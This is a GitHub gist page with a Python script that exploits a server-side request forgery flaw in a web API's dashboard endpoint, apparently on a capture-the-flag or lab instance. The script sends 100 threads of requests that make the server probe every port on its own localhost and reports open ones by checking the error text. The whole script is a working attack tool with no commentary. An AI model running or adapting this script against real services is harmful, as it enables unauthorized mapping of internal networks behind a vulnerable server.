Created
July 31, 2025 09:25
-
-
Save nquangit/abc60e4b230af4fa6a4258b9bc7f9fd7 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests | |
| import json | |
| import threading | |
| from queue import Queue | |
| from tqdm import tqdm | |
| api_url = 'http://94.237.50.221:39660/api/dashboard/endpoints/' | |
| headers = { | |
| 'Cookie': 'token=fucku', | |
| 'Content-Type': 'application/json' | |
| } | |
| target_ip = "127.0.0.1" | |
| ports = range(1, 65536) | |
| thread_count = 100 | |
| open_ports = [] | |
| q = Queue() | |
| def scan(): | |
| while not q.empty(): | |
| port = q.get() | |
| payload = { | |
| "url": f"http://{target_ip}:{port}/", | |
| "sector": f"whale_port_scan{port}" | |
| } | |
| try: | |
| response = requests.post(api_url, headers=headers, data=json.dumps(payload), timeout=3) | |
| if "ECONNREFUSED" not in response.text: | |
| print(f"[+] Open port found: {port}") | |
| open_ports.append(port) | |
| except Exception as e: | |
| pass | |
| q.task_done() | |
| for port in ports: | |
| q.put(port) | |
| with tqdm(total=len(ports)) as pbar: | |
| def wrapped_scan(): | |
| while not q.empty(): | |
| scan() | |
| pbar.update(1) | |
| threads = [] | |
| for _ in range(thread_count): | |
| t = threading.Thread(target=wrapped_scan) | |
| t.daemon = True | |
| t.start() | |
| threads.append(t) | |
| for t in threads: | |
| t.join() | |
| print("\nOpen ports:") | |
| for port in open_ports: | |
| print(port) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment